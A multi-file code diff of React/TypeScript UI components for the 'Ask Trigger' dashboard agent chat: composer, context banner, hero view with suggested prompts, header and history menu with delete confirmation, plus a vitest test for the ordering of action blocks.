aria-label="Message the dashboard agent"
|
||||
className={cn(
|
||||
"max-h-[40vh] min-h-[40px] flex-1 resize-none border-0 bg-transparent px-2 py-1.5 text-sm text-text-bright placeholder-text-dimmed outline-hidden ring-0 scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control field-sizing-content focus:outline-hidden focus:ring-0"
|
||||
"max-h-[40vh] flex-1 resize-none border-0 bg-transparent px-1.5 py-0.5 text-sm leading-6 text-text-bright placeholder-text-dimmed outline-hidden ring-0 scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control field-sizing-content focus:outline-hidden focus:ring-0",
|
||||
isHero && "w-full"
|
||||
)}
|
||||
/>
|
||||
{isStreaming ? (
|
||||
<Button variant="danger/small" LeadingIcon={StopIcon} onClick={onStop}>
|
||||
Stop
|
||||
</Button>
|
||||
{isHero ? (
|
||||
<div className="flex min-w-0 items-center justify-between gap-2">
|
||||
{context ?? <span />}
|
||||
{sendButton}
|
||||
</div>
|
||||
) : (
|
||||
<Button
|
||||
variant="primary/small"
|
||||
LeadingIcon={PaperAirplaneIcon}
|
||||
onClick={onSubmit}
|
||||
disabled={!value.trim()}
|
||||
>
|
||||
Send
|
||||
</Button>
|
||||
sendButton
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
{/* Mounted from the start, empty until there is something to say: a region that appears
|
||||
with its first message goes unannounced in several screen readers. */}
|
||||
<p className="sr-only" aria-live="polite">
|
||||
{messageCountAnnouncement(value.length)}
|
||||
</p>
|
||||
{/* Only near the limit: a normal message never sees a counter. */}
|
||||
{value.length >= MESSAGE_CHARS_WARN_AT ? (
|
||||
<p
|
||||
aria-hidden
|
||||
className={cn(
|
||||
"self-end text-xxs tabular-nums",
|
||||
value.length >= MAX_MESSAGE_CHARS ? "text-error" : "text-text-dimmed"
|
||||
)}
|
||||
>
|
||||
{value.length} / {MAX_MESSAGE_CHARS}
|
||||
</p>
|
||||
) : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,20 +1,32 @@
|
||||
import { cn } from "~/utils/cn";
|
||||
|
||||
export function DashboardAgentContextBanner({
|
||||
projectSlug,
|
||||
environmentSlug,
|
||||
currentPage,
|
||||
className,
|
||||
}: {
|
||||
projectSlug: string;
|
||||
environmentSlug: string;
|
||||
// A human label from `page-label.ts`, not a path.
|
||||
currentPage: string;
|
||||
className?: string;
|
||||
}) {
|
||||
const path = `${projectSlug} / ${environmentSlug} / ${currentPage}`;
|
||||
return (
|
||||
<div className="flex items-center gap-1.5 border-b border-grid-bright bg-background-bright/30 px-3 py-1.5 text-xs text-text-dimmed">
|
||||
<div
|
||||
className={cn(
|
||||
"flex h-5 w-fit max-w-full items-center gap-1 rounded border border-grid-bright bg-background-bright px-1.5 text-xs text-text-dimmed",
|
||||
className
|
||||
)}
|
||||
title={`Answering in the context of ${path}`}
|
||||
>
|
||||
<span className="shrink-0">Context:</span>
|
||||
<span className="truncate font-medium text-text-bright">{projectSlug}</span>
|
||||
<span>/</span>
|
||||
<span className="shrink-0">/</span>
|
||||
<span className="truncate">{environmentSlug}</span>
|
||||
<span>/</span>
|
||||
<span className="truncate capitalize">{currentPage}</span>
|
||||
<span className="shrink-0">/</span>
|
||||
<span className="truncate">{currentPage}</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,28 +1,44 @@
|
||||
import { useCallback, useState } from "react";
|
||||
import type { SuggestedPrompt } from "@internal/dashboard-agent-contracts";
|
||||
import { useCallback, useMemo, useState } from "react";
|
||||
import { DashboardAgentComposer } from "./DashboardAgentComposer";
|
||||
import { DashboardAgentContextBanner } from "./DashboardAgentContextBanner";
|
||||
import { DashboardAgentSuggestedPrompts } from "./DashboardAgentSuggestedPrompts";
|
||||
import { DashboardAgentHero } from "./DashboardAgentHero";
|
||||
import type { AgentPageContext } from "./page-context-types";
|
||||
import { readDismissedPromptIds, resolveSuggestedPromptsBySlot } from "./suggested-prompts";
|
||||
|
||||
/**
|
||||
* The new-chat "draft" state: suggested prompts + composer with no transport
|
||||
* mounted and no chat id yet. The chat id is server-owned, so the first send
|
||||
* goes to the panel's `create` call, which generates the id and returns it;
|
||||
* only then does the real `DashboardAgentChat` mount. The client never invents
|
||||
* a chat id.
|
||||
*/
|
||||
// Chat ids are server-owned: the first send goes to the panel's `create` call, which
|
||||
// returns the id, and only then does `DashboardAgentChat` mount.
|
||||
export function DashboardAgentDraft({
|
||||
onSubmit,
|
||||
projectSlug,
|
||||
environmentSlug,
|
||||
currentPage,
|
||||
pageContext,
|
||||
promotedPrompt,
|
||||
}: {
|
||||
onSubmit: (text: string) => void;
|
||||
projectSlug: string;
|
||||
environmentSlug: string;
|
||||
currentPage: string;
|
||||
pageContext?: AgentPageContext;
|
||||
promotedPrompt?: SuggestedPrompt;
|
||||
}) {
|
||||
const [input, setInput] = useState("");
|
||||
|
||||
// Same resolution the hero's buttons use, so the placeholder matches the first button.
|
||||
const [dismissedIds] = useState(readDismissedPromptIds);
|
||||
const placeholderSuggestion = useMemo(
|
||||
() =>
|
||||
resolveSuggestedPromptsBySlot(
|
||||
pageContext ?? { page: { kind: "other", path: "" }, signals: [] },
|
||||
{
|
||||
promoted: promotedPrompt,
|
||||
dismissedIds,
|
||||
}
|
||||
)[0]?.prompt.prompt,
|
||||
[pageContext, promotedPrompt, dismissedIds]
|
||||
);
|
||||
|
||||
const submit = useCallback(
|
||||
(text: string) => {
|
||||
const trimmed = text.trim();
|
||||
@@ -34,20 +50,30 @@ export function DashboardAgentDraft({
|
||||
);
|
||||
|
||||
return (
|
||||
<>
|
||||
<DashboardAgentContextBanner
|
||||
projectSlug={projectSlug}
|
||||
environmentSlug={environmentSlug}
|
||||
currentPage={currentPage}
|
||||
/>
|
||||
<DashboardAgentSuggestedPrompts onSelect={submit} />
|
||||
<DashboardAgentComposer
|
||||
value={input}
|
||||
onChange={setInput}
|
||||
onSubmit={() => submit(input)}
|
||||
onStop={() => {}}
|
||||
isStreaming={false}
|
||||
/>
|
||||
</>
|
||||
<DashboardAgentHero
|
||||
onSelect={submit}
|
||||
pageContext={pageContext}
|
||||
promoted={promotedPrompt}
|
||||
composer={
|
||||
<div className="flex w-full flex-col gap-3">
|
||||
<DashboardAgentComposer
|
||||
layout="hero"
|
||||
value={input}
|
||||
onChange={setInput}
|
||||
onSubmit={() => submit(input)}
|
||||
onStop={() => {}}
|
||||
isStreaming={false}
|
||||
placeholderSuggestion={placeholderSuggestion}
|
||||
context={
|
||||
<DashboardAgentContextBanner
|
||||
projectSlug={projectSlug}
|
||||
environmentSlug={environmentSlug}
|
||||
currentPage={currentPage}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,57 +1,131 @@
|
||||
import { ClockIcon, PencilSquareIcon, XMarkIcon } from "@heroicons/react/20/solid";
|
||||
import { cn } from "~/utils/cn";
|
||||
import { ArrowsPointingInIcon, ArrowsPointingOutIcon } from "@heroicons/react/20/solid";
|
||||
import { useState } from "react";
|
||||
import { CrossIcon } from "~/assets/icons/CrossIcon";
|
||||
import { PlusIcon } from "~/assets/icons/PlusIcon";
|
||||
import { Button } from "~/components/primitives/Buttons";
|
||||
import { Popover, PopoverArrowTrigger, PopoverContent } from "~/components/primitives/Popover";
|
||||
import { ShortcutKey } from "~/components/primitives/ShortcutKey";
|
||||
import type { Shortcut } from "~/hooks/useShortcutKeys";
|
||||
import { DashboardAgentHistoryMenu, type DashboardAgentChat } from "./DashboardAgentHistory";
|
||||
import { chatHistoryTriggerLabel } from "./header-labels";
|
||||
|
||||
// Display only. The key is registered once, in `DashboardAgent`; registering it
|
||||
// anywhere else makes the keystroke fire twice.
|
||||
export const NEW_CHAT_SHORTCUT: Shortcut = {
|
||||
modifiers: ["mod"],
|
||||
key: "j",
|
||||
enabledOnInputElements: true,
|
||||
};
|
||||
|
||||
export function DashboardAgentHeader({
|
||||
view,
|
||||
title,
|
||||
chats,
|
||||
currentChatId,
|
||||
thinkingChatId,
|
||||
onNewChat,
|
||||
onToggleHistory,
|
||||
showNewChat,
|
||||
onOpenHistory,
|
||||
onSelectChat,
|
||||
onDeleteChat,
|
||||
onToggleFullscreen,
|
||||
isFullscreen,
|
||||
onClose,
|
||||
}: {
|
||||
view: "chat" | "history";
|
||||
title: string;
|
||||
chats: DashboardAgentChat[];
|
||||
currentChatId: string;
|
||||
thinkingChatId?: string | null;
|
||||
onNewChat: () => void;
|
||||
onToggleHistory: () => void;
|
||||
showNewChat: boolean;
|
||||
onOpenHistory: () => void;
|
||||
onSelectChat: (chatId: string) => void;
|
||||
onDeleteChat: (chatId: string) => void;
|
||||
onToggleFullscreen: () => void;
|
||||
isFullscreen: boolean;
|
||||
onClose: () => void;
|
||||
}) {
|
||||
const [isHistoryOpen, setHistoryOpen] = useState(false);
|
||||
|
||||
return (
|
||||
<div className="flex items-center justify-between border-b border-grid-bright px-3 py-2">
|
||||
<span className="text-sm font-medium text-text-bright">Chat</span>
|
||||
<div className="flex items-center gap-0.5">
|
||||
<IconButton label="New chat" icon={PencilSquareIcon} onClick={onNewChat} />
|
||||
<IconButton
|
||||
label="History"
|
||||
icon={ClockIcon}
|
||||
onClick={onToggleHistory}
|
||||
active={view === "history"}
|
||||
<div className="flex h-10 shrink-0 items-center justify-between gap-2 border-b border-grid-bright pl-1 pr-1.5">
|
||||
<Popover
|
||||
open={isHistoryOpen}
|
||||
onOpenChange={(open) => {
|
||||
setHistoryOpen(open);
|
||||
if (open) onOpenHistory();
|
||||
}}
|
||||
>
|
||||
<PopoverArrowTrigger
|
||||
variant="minimal"
|
||||
isOpen={isHistoryOpen}
|
||||
overflowHidden
|
||||
className="min-w-0"
|
||||
aria-label={chatHistoryTriggerLabel(title)}
|
||||
title={title}
|
||||
>
|
||||
<span className="truncate text-sm font-medium text-text-bright">{title}</span>
|
||||
</PopoverArrowTrigger>
|
||||
<PopoverContent
|
||||
className="w-72 max-w-(--radix-popover-content-available-width) p-0"
|
||||
align="start"
|
||||
>
|
||||
<DashboardAgentHistoryMenu
|
||||
chats={chats}
|
||||
currentChatId={currentChatId}
|
||||
thinkingChatId={thinkingChatId}
|
||||
onSelect={(chatId) => {
|
||||
setHistoryOpen(false);
|
||||
onSelectChat(chatId);
|
||||
}}
|
||||
onDelete={onDeleteChat}
|
||||
/>
|
||||
</PopoverContent>
|
||||
</Popover>
|
||||
|
||||
<div className="flex shrink-0 items-center gap-0.5">
|
||||
{showNewChat && (
|
||||
<Button
|
||||
variant="minimal/small"
|
||||
className="aspect-square h-6 p-1"
|
||||
aria-label="New chat"
|
||||
tooltip={
|
||||
<span className="flex items-center">
|
||||
New chat
|
||||
<ShortcutKey shortcut={NEW_CHAT_SHORTCUT} variant="medium" />
|
||||
</span>
|
||||
}
|
||||
onClick={onNewChat}
|
||||
LeadingIcon={<PlusIcon className="size-4 text-text-dimmed" />}
|
||||
/>
|
||||
)}
|
||||
<Button
|
||||
variant="minimal/small"
|
||||
className="aspect-square h-6 p-1"
|
||||
aria-label={isFullscreen ? "Collapse into the side panel" : "Expand"}
|
||||
tooltip={isFullscreen ? "Collapse into the side panel" : "Expand"}
|
||||
onClick={onToggleFullscreen}
|
||||
LeadingIcon={
|
||||
isFullscreen ? (
|
||||
<ArrowsPointingInIcon className="size-4 text-text-dimmed" />
|
||||
) : (
|
||||
<ArrowsPointingOutIcon className="size-4 text-text-dimmed" />
|
||||
)
|
||||
}
|
||||
/>
|
||||
<Button
|
||||
variant="minimal/small"
|
||||
className="aspect-square h-6 p-1"
|
||||
aria-label="Close (Esc)"
|
||||
tooltip={
|
||||
<span className="flex items-center">
|
||||
Close
|
||||
<ShortcutKey shortcut={{ key: "esc" }} variant="medium" />
|
||||
</span>
|
||||
}
|
||||
onClick={onClose}
|
||||
LeadingIcon={<CrossIcon className="size-4 text-text-dimmed" />}
|
||||
/>
|
||||
<IconButton label="Close" icon={XMarkIcon} onClick={onClose} />
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function IconButton({
|
||||
label,
|
||||
icon: Icon,
|
||||
onClick,
|
||||
active,
|
||||
}: {
|
||||
label: string;
|
||||
icon: React.ComponentType<{ className?: string }>;
|
||||
onClick: () => void;
|
||||
active?: boolean;
|
||||
}) {
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
title={label}
|
||||
aria-label={label}
|
||||
onClick={onClick}
|
||||
className={cn(
|
||||
"rounded p-1.5 text-text-dimmed transition hover:bg-background-raised hover:text-text-bright",
|
||||
active && "bg-background-raised text-text-bright"
|
||||
)}
|
||||
>
|
||||
<Icon className="size-4" />
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
import type { AgentPageContext, SuggestedPrompt } from "@internal/dashboard-agent-contracts";
|
||||
import { BetaBadge } from "~/components/FeatureBadges";
|
||||
import { AgentMonoLogo } from "~/components/primitives/AgentDotMatrix";
|
||||
import { Header1 } from "~/components/primitives/Headers";
|
||||
import { Paragraph } from "~/components/primitives/Paragraph";
|
||||
import { DashboardAgentSuggestedPrompts } from "./DashboardAgentSuggestedPrompts";
|
||||
|
||||
export function DashboardAgentHero({
|
||||
onSelect,
|
||||
pageContext,
|
||||
promoted,
|
||||
dismissedIds,
|
||||
composer,
|
||||
}: {
|
||||
/** Receives the prompt text to send, not the button label. */
|
||||
onSelect: (prompt: string) => void;
|
||||
pageContext?: AgentPageContext;
|
||||
promoted?: SuggestedPrompt;
|
||||
dismissedIds?: string[];
|
||||
composer?: React.ReactNode;
|
||||
}) {
|
||||
// Centred by the child's `m-auto`, not by `justify-center`: auto margins give up their space
|
||||
// once the content outgrows the panel, so the heading stays scrollable to.
|
||||
return (
|
||||
<div className="flex min-h-0 flex-1 flex-col overflow-y-auto px-4 py-6 scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control">
|
||||
<div className="m-auto flex w-full max-w-2xl flex-col items-center gap-5">
|
||||
<div className="flex flex-col items-center gap-1.5 text-center">
|
||||
<Header1 className="flex items-center gap-2">
|
||||
<AgentMonoLogo size={22} decorative />
|
||||
Ask Trigger
|
||||
<BetaBadge />
|
||||
</Header1>
|
||||
<Paragraph variant="small" className="text-text-dimmed">
|
||||
About your runs, errors, or how Trigger.dev works.
|
||||
</Paragraph>
|
||||
</div>
|
||||
{composer}
|
||||
<DashboardAgentSuggestedPrompts
|
||||
onSelect={onSelect}
|
||||
pageContext={pageContext}
|
||||
promoted={promoted}
|
||||
dismissedIds={dismissedIds}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,81 +1,149 @@
|
||||
import { PlusIcon, TrashIcon } from "@heroicons/react/20/solid";
|
||||
import { DateTime } from "~/components/primitives/DateTime";
|
||||
import { MagnifyingGlassIcon, TrashIcon } from "@heroicons/react/20/solid";
|
||||
import { formatDurationMilliseconds } from "@trigger.dev/core/v3/utils/durations";
|
||||
import { useState } from "react";
|
||||
import { Button } from "~/components/primitives/Buttons";
|
||||
import { Dialog, DialogContent, DialogHeader } from "~/components/primitives/Dialog";
|
||||
import { FormButtons } from "~/components/primitives/FormButtons";
|
||||
import { Paragraph } from "~/components/primitives/Paragraph";
|
||||
import { cn } from "~/utils/cn";
|
||||
import { AgentSpinner } from "~/components/primitives/Spinner";
|
||||
import { AgentList, AgentListRow, AgentListRowAction } from "./list-row";
|
||||
|
||||
// Date fields arrive as strings over the loader's JSON.
|
||||
export type DashboardAgentChat = {
|
||||
id: string;
|
||||
title: string;
|
||||
lastMessageAt: string | null;
|
||||
updatedAt: string;
|
||||
hasOpenInvestigation?: boolean;
|
||||
};
|
||||
|
||||
export function DashboardAgentHistory({
|
||||
type ChatProcess = "thinking" | "investigating";
|
||||
|
||||
const PROCESS_LABELS: Record<ChatProcess, string> = {
|
||||
thinking: "Agent is thinking",
|
||||
investigating: "Investigation in progress",
|
||||
};
|
||||
|
||||
function chatProcess(chat: DashboardAgentChat, isThinking: boolean): ChatProcess | null {
|
||||
if (isThinking) return "thinking";
|
||||
if (chat.hasOpenInvestigation) return "investigating";
|
||||
return null;
|
||||
}
|
||||
|
||||
function ProcessIcon({ process }: { process: ChatProcess }) {
|
||||
const label = PROCESS_LABELS[process];
|
||||
// No tooltip trigger here: the row is a button, and this would nest one inside it.
|
||||
return (
|
||||
<span title={label} aria-label={label} role="img" className="shrink-0 text-text-dimmed">
|
||||
{process === "investigating" ? (
|
||||
<MagnifyingGlassIcon className="size-3.5" />
|
||||
) : (
|
||||
<AgentSpinner size={14} />
|
||||
)}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
// Weeks are the coarsest unit: months render as "1.8mo" for eight weeks.
|
||||
const AGE_UNITS = ["w", "d", "h", "m"] as const;
|
||||
|
||||
export function chatAge(lastMessageAt: string, now: number = Date.now()): string | undefined {
|
||||
const at = Date.parse(lastMessageAt);
|
||||
if (Number.isNaN(at)) return undefined;
|
||||
const elapsed = Math.max(0, now - at);
|
||||
if (elapsed < 60_000) return "now";
|
||||
return formatDurationMilliseconds(elapsed, {
|
||||
style: "short",
|
||||
maxUnits: 1,
|
||||
maxDecimalPoints: 0,
|
||||
units: [...AGE_UNITS],
|
||||
});
|
||||
}
|
||||
|
||||
export function DashboardAgentHistoryMenu({
|
||||
chats,
|
||||
currentChatId,
|
||||
thinkingChatId,
|
||||
onSelect,
|
||||
onNewChat,
|
||||
onDelete,
|
||||
}: {
|
||||
chats: DashboardAgentChat[];
|
||||
currentChatId: string;
|
||||
thinkingChatId?: string | null;
|
||||
onSelect: (chatId: string) => void;
|
||||
onNewChat: () => void;
|
||||
onDelete: (chatId: string) => void;
|
||||
}) {
|
||||
return (
|
||||
<div className="flex-1 overflow-y-auto scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control">
|
||||
<div className="p-2">
|
||||
<button
|
||||
type="button"
|
||||
onClick={onNewChat}
|
||||
className="mb-1 flex w-full items-center gap-2 rounded-md px-2 py-2 text-left text-sm text-text-bright transition hover:bg-background-bright"
|
||||
>
|
||||
<PlusIcon className="size-4 text-green-500" />
|
||||
New chat
|
||||
</button>
|
||||
const [pendingDelete, setPendingDelete] = useState<DashboardAgentChat | null>(null);
|
||||
const now = Date.now();
|
||||
|
||||
return (
|
||||
<>
|
||||
<div className="max-h-80 overflow-y-auto p-1.5 scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control">
|
||||
{chats.length === 0 ? (
|
||||
<Paragraph variant="small" className="p-2 text-text-dimmed">
|
||||
<Paragraph variant="small" className="p-1.5 text-text-dimmed">
|
||||
No previous chats yet.
|
||||
</Paragraph>
|
||||
) : (
|
||||
<ol className="space-y-0.5">
|
||||
{chats.map((chat) => (
|
||||
<li key={chat.id}>
|
||||
<div
|
||||
className={cn(
|
||||
"group flex items-center gap-2 rounded-sm px-2 py-1.5 transition-colors hover:bg-background-bright",
|
||||
chat.id === currentChatId && "bg-background-hover hover:bg-background-hover"
|
||||
)}
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onSelect(chat.id)}
|
||||
className="flex min-w-0 flex-1 flex-col items-start gap-0.5 text-left outline-hidden focus-custom"
|
||||
>
|
||||
<span className="line-clamp-1 text-sm text-text-bright">{chat.title}</span>
|
||||
{chat.lastMessageAt && (
|
||||
<span className="text-xs text-text-dimmed">
|
||||
<DateTime date={chat.lastMessageAt} showTooltip={false} />
|
||||
</span>
|
||||
)}
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => onDelete(chat.id)}
|
||||
aria-label="Delete chat"
|
||||
className="shrink-0 rounded p-1 text-text-dimmed opacity-0 transition-opacity hover:text-error group-hover:opacity-100 group-focus-within:opacity-100 focus-visible:opacity-100 focus-custom"
|
||||
>
|
||||
<TrashIcon className="size-3.5" />
|
||||
</button>
|
||||
</div>
|
||||
</li>
|
||||
))}
|
||||
</ol>
|
||||
<AgentList>
|
||||
{chats.map((chat) => {
|
||||
const process = chatProcess(chat, chat.id === thinkingChatId);
|
||||
const age = chat.lastMessageAt ? chatAge(chat.lastMessageAt, now) : undefined;
|
||||
return (
|
||||
<AgentListRow
|
||||
key={chat.id}
|
||||
label={chat.title}
|
||||
status={process ? <ProcessIcon process={process} /> : null}
|
||||
meta={age}
|
||||
variant={chat.id === currentChatId ? "selected" : "default"}
|
||||
onSelect={() => onSelect(chat.id)}
|
||||
action={
|
||||
<AgentListRowAction
|
||||
icon={TrashIcon}
|
||||
label={`Delete chat: ${chat.title}`}
|
||||
onClick={() => setPendingDelete(chat)}
|
||||
danger
|
||||
/>
|
||||
}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</AgentList>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<Dialog
|
||||
open={pendingDelete !== null}
|
||||
onOpenChange={(open) => !open && setPendingDelete(null)}
|
||||
>
|
||||
<DialogContent>
|
||||
<DialogHeader>Delete this chat?</DialogHeader>
|
||||
<div className="flex flex-col gap-3 pt-3">
|
||||
<Paragraph>
|
||||
"{pendingDelete?.title}" and everything in it will be deleted. This can't be undone.
|
||||
</Paragraph>
|
||||
<FormButtons
|
||||
confirmButton={
|
||||
<Button
|
||||
type="button"
|
||||
variant="danger/medium"
|
||||
LeadingIcon={TrashIcon}
|
||||
shortcut={{ modifiers: ["mod"], key: "enter" }}
|
||||
onClick={() => {
|
||||
if (pendingDelete) onDelete(pendingDelete.id);
|
||||
setPendingDelete(null);
|
||||
}}
|
||||
>
|
||||
Delete chat
|
||||
</Button>
|
||||
}
|
||||
cancelButton={
|
||||
<Button variant="tertiary/medium" onClick={() => setPendingDelete(null)}>
|
||||
Cancel
|
||||
</Button>
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,148 @@
|
||||
import type { UIMessage } from "@ai-sdk/react";
|
||||
import { createElement } from "react";
|
||||
import { renderToStaticMarkup } from "react-dom/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { OperatingSystemContextProvider } from "~/components/primitives/OperatingSystemProvider";
|
||||
import { ShortcutsProvider } from "~/components/primitives/ShortcutsProvider";
|
||||
import { DashboardAgentTurns, splitActionsBlocks } from "./DashboardAgentMessages";
|
||||
|
||||
/**
|
||||
* The model emits the actions block wherever it likes — the renderer pins the buttons to
|
||||
* the bottom of the turn. Static markup, so this proves the rendered order and nothing
|
||||
* about interaction.
|
||||
*/
|
||||
|
||||
const actionsBlock = (label: string) => ({
|
||||
type: "actions",
|
||||
id: label,
|
||||
revision: 0,
|
||||
version: 1,
|
||||
actions: [{ label, intent: { kind: "ask", prompt: `${label}?` } }],
|
||||
});
|
||||
|
||||
const card = {
|
||||
type: "investigation",
|
||||
id: "inv_1",
|
||||
revision: 0,
|
||||
version: 1,
|
||||
investigation: {
|
||||
outcome: "concluded",
|
||||
severity: "crit",
|
||||
confidence: "high",
|
||||
title: "A card that is not an actions row",
|
||||
headline: "Every attempt dies on a null order id.",
|
||||
remediation: "Guard the receipt builder against a missing order.",
|
||||
hypotheses: [],
|
||||
evidence: [],
|
||||
},
|
||||
};
|
||||
|
||||
function text(value: string) {
|
||||
return { type: "text", text: value };
|
||||
}
|
||||
|
||||
function view(...blocks: unknown[]) {
|
||||
return { type: "tool-render_view", state: "output-available", output: { blocks } };
|
||||
}
|
||||
|
||||
function markup(parts: unknown[]) {
|
||||
const message = { id: "m1", role: "assistant", parts } as unknown as UIMessage;
|
||||
return renderToStaticMarkup(
|
||||
createElement(
|
||||
OperatingSystemContextProvider,
|
||||
{ platform: "mac" },
|
||||
createElement(
|
||||
ShortcutsProvider,
|
||||
null,
|
||||
createElement(DashboardAgentTurns, {
|
||||
messages: [message],
|
||||
activity: null,
|
||||
onIntent: () => {},
|
||||
})
|
||||
)
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
/** Every needle must be present: a missing one is -1, and -1 comparisons pass vacuously. */
|
||||
function order(html: string, ...needles: string[]) {
|
||||
return needles.map((needle) => {
|
||||
const at = html.indexOf(needle);
|
||||
expect(at, `missing "${needle}"`).toBeGreaterThan(-1);
|
||||
return at;
|
||||
});
|
||||
}
|
||||
|
||||
describe("action rows render at the end of the turn", () => {
|
||||
it("moves an actions block below the closing text it was emitted above", () => {
|
||||
const html = markup([
|
||||
text("Here is what I found."),
|
||||
view(actionsBlock("Watch it")),
|
||||
text("Want me to watch it?"),
|
||||
]);
|
||||
|
||||
const [found, offer, button] = order(
|
||||
html,
|
||||
"Here is what I found.",
|
||||
"Want me to watch it?",
|
||||
"Watch it"
|
||||
);
|
||||
expect(found).toBeGreaterThan(-1);
|
||||
expect(offer).toBeGreaterThan(-1);
|
||||
expect(button).toBeGreaterThan(offer);
|
||||
});
|
||||
|
||||
it("keeps two actions blocks in their relative order, both after the card", () => {
|
||||
const html = markup([view(actionsBlock("First")), view(card), view(actionsBlock("Second"))]);
|
||||
|
||||
const [summary, first, second] = order(
|
||||
html,
|
||||
"A card that is not an actions row",
|
||||
"First",
|
||||
"Second"
|
||||
);
|
||||
expect(first).toBeGreaterThan(summary);
|
||||
expect(second).toBeGreaterThan(first);
|
||||
});
|
||||
|
||||
it("leaves a turn without actions exactly as emitted", () => {
|
||||
const html = markup([text("Only text."), view(card), text("Then more text.")]);
|
||||
|
||||
const [only, summary, more] = order(
|
||||
html,
|
||||
"Only text.",
|
||||
"A card that is not an actions row",
|
||||
"Then more text."
|
||||
);
|
||||
expect(summary).toBeGreaterThan(only);
|
||||
expect(more).toBeGreaterThan(summary);
|
||||
});
|
||||
|
||||
it("pulls the actions out of a block list that also carries a card", () => {
|
||||
const html = markup([view(actionsBlock("Watch it"), card), text("Want me to watch it?")]);
|
||||
|
||||
const [summary, offer, button] = order(
|
||||
html,
|
||||
"A card that is not an actions row",
|
||||
"Want me to watch it?",
|
||||
"Watch it"
|
||||
);
|
||||
expect(offer).toBeGreaterThan(summary);
|
||||
expect(button).toBeGreaterThan(offer);
|
||||
});
|
||||
});
|
||||
|
||||
describe("splitActionsBlocks", () => {
|
||||
it("separates actions from everything else, each keeping its order", () => {
|
||||
const first = actionsBlock("First");
|
||||
const second = actionsBlock("Second");
|
||||
expect(splitActionsBlocks([first, card, second])).toEqual({
|
||||
content: [card],
|
||||
actions: [first, second],
|
||||
});
|
||||
});
|
||||
|
||||
it("returns no actions when the list has none", () => {
|
||||
expect(splitActionsBlocks([card])).toEqual({ content: [card], actions: [] });
|
||||
});
|
||||
});
|
||||
@@ -1,84 +1,400 @@
|
||||
import type { UIMessage } from "@ai-sdk/react";
|
||||
import { memo } from "react";
|
||||
import { Spinner } from "~/components/primitives/Spinner";
|
||||
import { MessageBubble, renderPart } from "~/components/runs/v3/agent/AgentMessageView";
|
||||
import { useAutoScrollToBottom } from "~/hooks/useAutoScrollToBottom";
|
||||
import { ArrowPathIcon, BookOpenIcon, XMarkIcon } from "@heroicons/react/20/solid";
|
||||
import type { AgentIntent } from "@internal/dashboard-agent-contracts";
|
||||
import { useNavigate } from "@remix-run/react";
|
||||
import { memo, useMemo, useRef } from "react";
|
||||
import { Button, LinkButton } from "~/components/primitives/Buttons";
|
||||
import { Callout } from "~/components/primitives/Callout";
|
||||
import { renderPart, toSafeUrl } from "~/components/runs/v3/agent/AgentMessageView";
|
||||
import { sameOriginPath } from "./navigate-target";
|
||||
import { IN_FLIGHT_TOOL_STATES, liveProgress, type TurnActivity } from "./progress-line";
|
||||
import { useTranscriptAutoScroll } from "./useTranscriptAutoScroll";
|
||||
import {
|
||||
ChatActionsRow,
|
||||
ChatCardSlot,
|
||||
ChatProgress,
|
||||
ChatText,
|
||||
ChatTranscript,
|
||||
ChatTurn,
|
||||
} from "./chat-layout";
|
||||
import { reuseWinners } from "./investigation-winners";
|
||||
import { stripModelImages } from "./model-markdown";
|
||||
import { reportBlockFromToolPart } from "./report-block-adapter";
|
||||
import { shouldShowLiveTurnError } from "./turn-error";
|
||||
import type { ResolvedUri } from "./ReportView";
|
||||
import { answerContinuesAfter } from "./view-actions";
|
||||
import { ViewBlocks } from "./view-catalog";
|
||||
|
||||
// The shared MessageBubble renders `step-start` parts as a dashed "step"
|
||||
// separator — useful in the run inspector / playground, just noise in this
|
||||
// simple chat. Drop them before rendering (reference preserved when there are
|
||||
// none, so memoization still holds for those messages).
|
||||
function stripStepParts(message: UIMessage): UIMessage {
|
||||
export type { TurnActivity };
|
||||
|
||||
export type DashboardAgentMessagesProps = {
|
||||
messages: UIMessage[];
|
||||
activity: TurnActivity | null;
|
||||
error?: Error;
|
||||
onRetry?: () => void;
|
||||
onDismissError?: () => void;
|
||||
onIntent?: (intent: AgentIntent) => void;
|
||||
resolveUri?: (uri: string) => ResolvedUri | null;
|
||||
pagePaths?: Record<string, string>;
|
||||
};
|
||||
|
||||
// Cached so a stripped message keeps its identity across renders and memoization holds:
|
||||
// rebuilding it re-renders every tool-calling turn on each streamed token.
|
||||
// Relies on @ai-sdk/react cloning a message per update: an SDK mutating one in place would
|
||||
// keep serving the cached copy of its earlier state.
|
||||
const strippedMessages = new WeakMap<UIMessage, UIMessage>();
|
||||
|
||||
export function stripStepParts(message: UIMessage): UIMessage {
|
||||
if (!message.parts?.some((p) => p.type === "step-start")) return message;
|
||||
return { ...message, parts: message.parts.filter((p) => p.type !== "step-start") };
|
||||
const cached = strippedMessages.get(message);
|
||||
if (cached) return cached;
|
||||
const stripped = { ...message, parts: message.parts.filter((p) => p.type !== "step-start") };
|
||||
strippedMessages.set(message, stripped);
|
||||
return stripped;
|
||||
}
|
||||
|
||||
